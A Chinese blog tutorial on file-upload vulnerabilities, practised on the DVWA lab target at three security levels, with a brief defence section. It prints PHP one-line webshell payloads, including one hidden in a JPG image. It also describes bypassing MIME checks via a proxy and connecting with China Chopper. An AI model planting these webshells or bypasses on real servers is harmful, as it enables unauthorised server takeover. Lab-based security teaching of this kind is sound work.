渗透之文件上传漏洞

本文深入解析文件上传漏洞原理,从低、中、高安全级别探讨攻击手法与防御措施,涵盖PHP木马上传、代理服务器利用及图片代码植入技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

文件上传漏洞原理
所谓文件上传漏洞,就是利用上传相应的可执行脚本文件到服务器上,使我们能够获得服务器的操作权限。可执行的脚本文件有很多,这里就拿PHP的一句话木马举例:
<?php @eval($_POST[value]);?>
这里面的 value 可以换成其他任意的,这个表示连接被植入可执行代码服务器的密码。我们在把它保存为一个php文件后,就可以想办法上传到服务器上面。上传上去后我们就可以通过“中国菜刀”连接上目标服务器,对它进行操作管理。

进入OWASPBWA中的DVWA漏洞

进入文件上传漏洞界面-用户名和密码都为 admin

文件上传漏洞安全级别
在OWASPBWA靶机中,文件上传漏洞包含了三个级别,分别是:低安全级别、中安全级别、高安全级别,每个安全级别对应的模式也不同。

低安全级别
低安全级别是真的不安全,目标系统由于没有对上传的文件进行限制,所以原本是让我们上传图片,但是我们却可以上传其他类型的文件,比如一些php木马文件等,在该安全级别下,我们可以直接上传可执行脚本文件文件到网站上,然后通过安全工具直接连接目标系统,对目标系统进行连接操作。

上传一句话木马文件-点击打开后再点击upload


验证文件

回车后出现如下空白界面属于正常的

在OWASP上验证文件是否成功上传


-
通过菜刀连接(内啥,杀毒软件关了,不然会被杀掉……)

打开后按照步骤进行操作

成功添加后可以对机器进行管理,这里我们选择文件管理


进入系统后的相关界面展示


中安全级别

中安全级别相对于低安全级别而言,对文件类型进行了限制,正常情况下,我们只能上传图片文件。但是我们可以通过代理,然后修改我们上传文件的mime的类型。具体mime类型介绍可参考网络文献。中安全级别下我们通过代理服务器修改我们上传文件的mime类型,就可以上传不是图片的文件。比如我们还是上传php木马,我们开启了代理功能后,在网页内上传文件时,我们的代理服务器会劫持到我们的请求,然后我们通过修改上传文件类型,比如php类型应该为"application"类型,我们把它修改为"image/jpeg",然后在让代理服务器把该请求转发过去,这时候我们上传的文件类型本来是可执行的php文件,但是通过代理修改了类型过后,目标服务器接收到的请求是上传了一个图片文件,所以这时候脚本文件就成功上传,然后就可以通过安全工具连接目标系统进行连接操作了。

修改安全级别为中安全级别


打开文件上传漏洞(与前面操作步骤一致)

测试中安全级别下php文件的上传
发现文件无法上传,这是因为后台对上传文件的 mime 类型进行了限制,mime的前面有大致提过,具体的详细信息可以百度去深入了解。


设置本机的代理服务器
Win10的机器设置代理方法是鼠标右击任务栏上的网络图标–选择 打开“网络和internet设置” – 选择代理–设置相关内容


设置Kali下的代理


回到测试主机,再次进行文件上传操作。

然后点击Upload后进入Kali主机的工具中,如下图所示:修改图中标记内容为image/jpeg 后点击Forward


回到测试主机,发现中安全模式下上传php文件成功


后续步骤和低安全模式操作基本一致。

 

高安全级别
需要用到的工具
高安全级别,正如它的名字一样,该安全级别下,服务器对上传的文件进行了扩展名的限制,比如它限制了只能上传jpg格式的图片,然后我们上传其他类型文件时就无法成功上传,并且就算我们利用中安全级别的代理修改mime文件类型也没有用,因为服务器是限制了扩展名,我们虽然修改了mime类型,但是原来的扩展名还是“.php”,所以该方法就不适用了。这时候只能老老实实的上传图片,但是我们可以对图片进行一些处理,让我们的代码植入到图片之中,然后将图片上传到服务器上面,可是你以为带有木马代码的图片上传上去就可以进入对方系统了吗?NO,因为我们上传的图片虽然有代码,但是我们的代码还没有执行,我们想办法执行图片里面的代码后才能正常的进入目标系统。具体怎么让代码执行,我们需要用到文件包含漏洞的知识,利用文件包含漏洞来使图片里面的代码执行,然后执行后通过安全工具进行目标系统的连接操作。相关知识后面学习。

设置安全级别为高安全级别,在高安全级别下对上传的文件类型的扩展名做了限制,只能上传后缀名为jpg或者其他图像格式的文件。
由于限制了上传文件的扩展名,所以老实上传图片,但是我们可以给图片植入相关木马脚本,然后通过执行图片的内容生成一句话木马文件过后就可以通过菜刀连接。
给图片植入木马脚本
<?fputs(fopen("muma.php","w"),'<?php eval($_POST[cmd];?>')?>
打开edjpgcom工具的文件夹,文档开头有下载链接


上传带有木马的图片(正常上传即可),并检测图片中的代码是否正常的被写入。

后续步骤在文件包含漏洞中继续操作


文件上传漏洞防御
文件上传一般都是用于头像之类的地方,我们应该要对上传的文件做基本的限制,比如设置头像时我们就只能让用户上传图片,不允许上传其他文件。但是上传图片的话也有一定的风险,因为别人有可能把可执行代码植入到图片中将图片上传后通过其他漏洞执行该代码,从而取得我们服务器的管理权限。并且,别人要想获得我们服务器的权限,他需要知道他上传的文件在哪个位置,所以我们应该不能让上传文件所保存的路径暴露出来,这样相对来说安全一点,因为让别人知道问价保存的路劲后,也许会通过其他更简便的手段获取到服务器的管理权限。
 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Mr. Sun_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值